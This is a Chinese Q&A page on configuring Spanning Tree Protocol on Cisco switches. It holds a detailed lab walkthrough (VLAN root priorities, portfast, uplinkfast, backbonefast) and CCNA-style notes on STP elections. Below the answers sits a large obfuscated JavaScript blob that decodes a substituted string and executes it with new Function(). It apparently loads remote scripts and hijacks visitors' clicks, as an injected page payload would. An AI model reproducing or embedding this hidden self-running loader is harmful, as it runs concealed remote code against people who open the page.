怎样配cisco交换机的STP,并给出实例并附带讲解

2024-12-14 09:47:08
推荐回答(2个)
回答1:

要在网络中配置2 个VLAN,不同VLAN 的STP 具有不同的根桥,实现负载平衡。

(1) 步骤1:利用VTP 在交换机上创建VLAN2,在S1 和S2 之间的链路配置Trunk

S1(config)#vtp domain VTP-TEST

Changing VTP domain name from NULL to VTP-TEST

S1(config)#vlan 2

//在S1 上配置VTP 的域名,并创建VLAN 2。由于默认时S2 和S3 的VTP 域名为空,它们将

自动学习到S1 的VTP 域名,同时S2、S3 也将自动学习到VLAN 2,请确认是否成功。

S1(config)#int f0/14

S1(config-if)#shutdown

//关闭该接口,以免影响我们的实验

S1(config)#int f0/13

S1(config-if)#switchport trunk encapsulation dot1q

S1(config-if)#switchport mode trunk

//S1 的f0/13 改为negotiate 后,由于默认时S2 的f0/13 为auto 模式,S1 和S2 将自动协

商成功Trunk。而默认时S3 的以太网接口就是desirable 模式,所以S3 和S1、S2 的链路

也自动协商成功Trunk。请确认三条链路的Trunk 是否成功。

(2) 步骤2:检查初始的STP 树

S1#show spanning-tree

VLAN0001

Spanning tree enabled protocol ieee

//以上表明运行的STP 协议是IEEE 的802.1D

Root ID Priority 32768

Address 0009.b7a4.b181

Cost 19

Port 17 (FastEthernet0/15)

Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec

//以上显示VLAN 1 的STP 树的根桥信息,通过根桥的MAC 地址可以确定S3 是根桥。这是

因为S3 是较早的交换机,具有较低的MAC 地址。由于S3 是一台低端的交换机,成为根桥

显然是不合理的。

Bridge ID Priority 32769 (priority 32768 sys-id-ext 1)

Address 0018.ba11.f500

Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec

Aging Time 300

//以上显示该交换机的桥ID

Interface Role Sts Cost Prio.Nbr Type

---------------- ---- --- --------- -------- --------------------------------

Fa0/13 Altn BLK 19 128.15 P2p

Fa0/15 Root FWD 19 128.17 P2p

//以上显示该交换机各个接口的状态,f0/13 为阻断状态,f0/15 为根口

VLAN0002

Spanning tree enabled protocol ieee

Root ID Priority 32768

Address 0009.b7a4.b182

Cost 19

Port 17 (FastEthernet0/15)

Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec

Bridge ID Priority 32770 (priority 32768 sys-id-ext 2)

Address 0018.ba11.f500

Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec

Aging Time 300

Interface Role Sts Cost Prio.Nbr Type

---------------- ---- --- --------- -------- --------------------------------

Fa0/13 Altn BLK 19 128.15 P2p

Fa0/15 Root FWD 19 128.17 P2p

//以上是VLAN 2 的STP 树情况,VLAN 2 的STP 树和VLAN 1 的类似。默认时,Cisco 交换机

会为每个VLAN 都生成一个单独的STP 树,称为PVST(Per VLAN Spanning Tree)。

【技术要点】需要仔细分析为什么STP 会是目前这种情况。三个交换机的默认优先级都是

32768,而S3 的MAC 较低,所以成为了根桥,则S3 上的f0/1 和f0/2 是指定口,处于Forword

状态。S1 有两个接口可以到达S3,一个接口是f0/13,到达S3 的Cost 为19+19=38,另

一个接口是f0/15,到达S1 的Cost 为19,因此f0/15 是根口,处于Forword 状态。同样

S2 上,f0/15 也是根口,处于Forword 状态。在S1 和S2 之间的链路上,要选举出一个指定

口。根据选举的要素,根桥的ID 是一样的,不能决出胜负;到达根桥的Cost 值也是一样的,

都为19,不能决出胜负;但是发送者桥ID 不一样,S1 的MAC 地址高,S2 的MAC 地址低,

S2 获胜,所以S2 的f0/13 是指定口,处于Forward 状态,S1 的f0/13 就处于Block 状态了。

(3) 步骤3:控制S1 为VLAN1 的根桥,S2 为VLAN2 的根桥

S1(config)#spanning-tree vlan 1 priority 4096

S2(config)#spanning-tree vlan 2 priority 4096

//对于VLAN 1 来说,S1 的优先级为4096,而S2 和S3 保持默认值32768,这样S1 就成为

了VLAN 1 的根桥。同样我们控制S2 成为了VLAN 2 的根桥。优先级通常要是4096 的倍数。

S1#show spanning-tree

VLAN0001

Spanning tree enabled protocol ieee

Root ID Priority 4097

Address 0018.ba11.f500

This bridge is the root

Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec

//S1 成为了VLAN 1 的根桥了

Bridge ID Priority 4097 (priority 4096 sys-id-ext 1)

Address 0018.ba11.f500

Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec

Aging Time 15

Interface Role Sts Cost Prio.Nbr Type

---------------- ---- --- --------- -------- --------------------------------

Fa0/13 Desg FWD 19 128.15 P2p

Fa0/15 Desg FWD 19 128.17 P2p

//对于VLAN 1 来说,f0/13 和f0/15 是指定口,都处于转发状态了

VLAN0002

Spanning tree enabled protocol ieee

Root ID Priority 4098

Address 0018.ba11.eb80

Cost 19

Port 15 (FastEthernet0/13)

Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec

//S2 成为了VLAN 2 的根桥了

Bridge ID Priority 32770 (priority 32768 sys-id-ext 2)

Address 0018.ba11.f500

Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec

Aging Time 15

Interface Role Sts Cost Prio.Nbr Type

---------------- ---- --- --------- -------- --------------------------------

Fa0/13 Root FWD 19 128.15 P2p

Fa0/15 Altn BLK 19 128.17 P2p

//对于VLAN 2 来说,f0/13 是根口,处于转发状态,而f0/15 却是阻断状态

S3#show spanning-tree brief

VLAN1

Spanning tree enabled protocol ieee

Root ID Priority 4097

Address 0018.ba11.f500

Cost 19

Port 1 (FastEthernet0/1)

Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec

Bridge ID Priority 32768

Address 0009.b7a4.b181

Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec

Aging Time 300

Interface Designated

Name Port ID Prio Cost Sts Cost Bridge ID Port ID

-------------------- ------- ---- ----- --- ----- -------------------- -------

FastEthernet0/1 128.1 128 19 FWD 0 4097 0018.ba11.f500 128.17

FastEthernet0/2 128.2 128 19 FWD 19 32768 0009.b7a4.b181 128.2

//在S3 上,对于VLAN1,S3 的f0/1 和f0/2 都处于转发状态。

VLAN2

Spanning tree enabled protocol ieee

Root ID Priority 4098

Address 0018.ba11.eb80

Cost 19

Port 2 (FastEthernet0/2)

Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec

Bridge ID Priority 32768

Address 0009.b7a4.b182

Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec

Aging Time 300

Interface Designated

Name Port ID Prio Cost Sts Cost Bridge ID Port ID

-------------------- ------- ---- ----- --- ----- -------------------- -------

FastEthernet0/1 128.1 128 19 FWD 19 32768 0009.b7a4.b182 128.1

FastEthernet0/2 128.2 128 19 FWD 0 4098 0018.ba11.eb80 128.17

//S3 上,对于VLAN2,S3 的f0/1 和f0/2 也都处于转发状态。

(4) 步骤4:控制指定口

在步骤3 中可以看到对于VLAN 1,S1 成为了根桥,S1 的f0/13 和f0/15 处于转发状态;

S2 的f0/13 是根口,也处于转发状态;S3 的f0/1 是根口,也处于转发状态;然而S2 和S3

之间的链路上,却是低端交换机S3 的f0/2 在转发数据,原因在于S2 和S3 在竞争指定口时,

由于S3 的MAC 较低而获胜了,这是不合理的。VLAN 2 的情况类似。

我们要控制指定口,这可以通过改变优先级实现,如下:

S2(config)#spanning-tree vlan 1 priority 8192

S1(config)#spanning-tree vlan 2 priority 8192

//对于VLAN 1 来说,S2 的优先级为8192,比S1 的4096 低,不至于成为根桥,但是比S3

的32768 低,所以在竞争指定口时会获胜。VLAN 2 的情况类似。

S3#show spanning-tree brief

VLAN1

(此处省略)

Interface Designated

Name Port ID Prio Cost Sts Cost Bridge ID Port ID

-------------------- ------- ---- ----- --- ----- -------------------- -------

FastEthernet0/1 128.1 128 19 FWD 0 4097 0018.ba11.f500 128.17

FastEthernet0/2 128.2 128 19 BLK 19 8193 0018.ba11.eb80 128.17

//S3 上,对于VLAN1,S3 的f0/1 处于转发状态,而f0/2 处于阻断状态。

VLAN2

(此处省略)

Interface Designated

Name Port ID Prio Cost Sts Cost Bridge ID Port ID

-------------------- ------- ---- ----- --- ----- -------------------- -------

FastEthernet0/1 128.1 128 19 BLK 19 8194 0018.ba11.f500 128.17

FastEthernet0/2 128.2 128 19 FWD 0 4098 0018.ba11.eb80 128.17

// S3 上,对于VLAN 2,S3 的f0/1 处于阻断状态,而f0/2 处于转发状态,这样起到了负

载平衡的作用。

14.3 实验2: portfast、uplinkfast、backbonefast

1. 实验目的

通过本实验,读者可以掌握如下技能:

(1) 理解portfast 的工作场合和配置

(2) 理解uplinkfast 的工作场合和配置

(3) 理解backbonefast 的工作场合和配置

2. 实验拓扑

如图14-1。

3. 实验步骤

在实验1 的基础上继续本实验,我们将只关心VLAN 1 的STP 树。

(1) 步骤1:配置portfast

图14-1 中,S1 的f0/5 是用于接入计算机。当计算机接入时,f0/5 接口立即进入

Listening 状态,随后经过Learning,最后才成为Forwarding,这期间需要30 秒的时间。

这对于有些场合是不可忍受的,可以配置portfast 特性,使得计算机一接入,接口立即进

入Forwarding。

S1(config)#int f0/5

S1(config-if)#spanning-tree portfast

%Warning: portfast should only be enabled on ports connected to a single

host. Connecting hubs, concentrators, switches, bridges, etc... to this

interface when portfast is enabled, can cause temporary bridging loops.

Use with CAUTION

%Portfast has been configured on FastEthernet0/5 but will only

have effect when the interface is in a non-trunking mode.

//交换机会警告该接口只能用于接入计算机或者路由器,不要接入其他的交换机

(2) 步骤2:配置uplinkfast

先确认实验1 的STP 树已经正确。在图14-1 中的S1 上,关闭f0/15 接口,在S3 上反

复执行“show spanning-tree vlan 1 brief”观察f0/2 接口的状态变化:

FastEthernet0/2 128.2 128 3019 LIS 19 8193 0018.ba11.eb80 128.17

大约15 秒后变为:

FastEthernet0/2 128.2 128 3019 LRN 19 8193 0018.ba11.eb80 128.17

大约15 秒后变为:

FastEthernet0/2 128.2 128 3019 FWD 19 8193 0018.ba11.eb80 128.17

合计大约15+15=30 秒,f0/2 变为转发状态。

S3(config)#spanning-tree uplinkfast

S1(config)#int f0/15

S1(config-if)#no shutdown

S1(config-if)#shutdown //等STP 重新稳定后,才执行该语句

在S3 上重复执行“show spanning-tree vlan 1 brief”,可以看到f0/2 很快就进入了

Forwarding 状态。

【技术要点】没有配置uplinkfast 时,交换机S3 如果能直接检测到f0/1 接口上的链路故

障,f0/2 会立即进入Listen 状态,这样30 秒就能进入Forward 状态。然而如果S1 和S3

之间存在一个Hub,S1 上的f0/15 接口故障了,S3 将无法直接检测到故障,S3 只能等待10

个周期没有收到S1 的BPDU(每个周期2 秒),20 秒中后,S3 的f0/2 才进入Listen 状态,

这样总共50 秒才就能进入Forward 状态。所以STP 重新收敛的时间通常需要30—50 秒。

(3) 步骤3:配置backbonefast

打开S1 上f0/15 接口,确认STP 树已经正确。在图14-1 中的S1 上,关闭f0/13 接口,

在S3 上反复执行“show spanning-tree vlan 1 brief”观察f0/2 接口的状态变化:

FastEthernet0/2 128.2 128 3019 BLK 19 8193 0018.ba11.eb80 128.17

大约20 秒后变为:

FastEthernet0/2 128.2 128 3019 LIS 19 8193 0018.ba11.eb80 128.17

大约15 秒后变为:

FastEthernet0/2 128.2 128 3019 LRN 19 8193 0018.ba11.eb80 128.17

大约15 秒后变为:

FastEthernet0/2 128.2 128 3019 FWD 19 8193 0018.ba11.eb80 128.17

合计大约20+15+15=50 秒,f0/2 变为转发状态。

S1(config)#spanning-tree backbonefast

S2(config)#spanning-tree backbonefast

S3(config)#spanning-tree backbonefast

S1(config)#int f0/13

S1(config-if)#no shutdown

S1(config-if)#shutdown //等STP 重新稳定后,才执行该语句

在S3 上重复执行“show spanning-tree vlan 1 brief”,可以看到f0/2 很快就进入了

Listening 状态,合计大约15+15=30 秒后,f0/2 就变为转发状态,比之前的50 秒少了

20 秒。

【提示】uplinkfast 命令只需要在S3 配置即可,而backbonefast 命令需要在S1、S2、S3

三台交换机上都配置。

这是个标准试验,希望对楼主有所帮助!

回答2:

你的原理不透彻,这是我上CCNA的笔记
STP 生成树协议为了解决冗余带来的问题
配置之前要搞清楚这几个问题:
1。交换机是如何发现网络是否存在环路的
2。交换机端口角色的选举
3。端口状态的转换
不知道你这几个清楚不?

就比如端口状态就有5种 disable--》 blocking --》listening--》learning--》forwarding
交换机之间传递的是BPDU(桥协议数据单元)有俩中 1.、配置PBDU,用于基本的生成树计算
2.、TNCPBDU 用于拓扑改变通告(一般就介绍第一种)
配置pbdu它的参数有1、桥ID,包含 桥优先级 32768 交换机端口的MAC地址
2。根路径开销 cost 3
3、端口id 包含 端口优先级 128 端口编号
STP算法或者选举过程我就不说了,都是最小原则。
根交换机
在网络中选举一个桥ID最优的交换机作为根交换机。则比较首先比较优先级,优先级数值越小越优先;如果优先级相同,则比较交换机的MAC地址,MACD地址越小的交换机越小越优先。
根端口
在网络中所有非根交换机上选择一个端口,首先选择到达根路径开销最小的端口,如果cost值相同。则比较BPDU 发送方 的桥ID,越小越优。如果桥Id相同在比较 发送方的端口ID。以此类推,一级一级的比较,越小越好。
指定端口:也是这样的,在每条链路上都选择一条。
下面就是命令,都是,基于你的要求和原理。
1、查看拓扑的生成树 show spanning-tree
2、修改交换机的stp优先级 (优先级必须是4096的倍数,最大不超过65535)
spanning-tree vlan * priority *****
3、修改交换机的端口的cost spanning-tree vlan * cost *****
4、修改交换机的端口的优先级 spanning-tree vlan * priority *****

!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();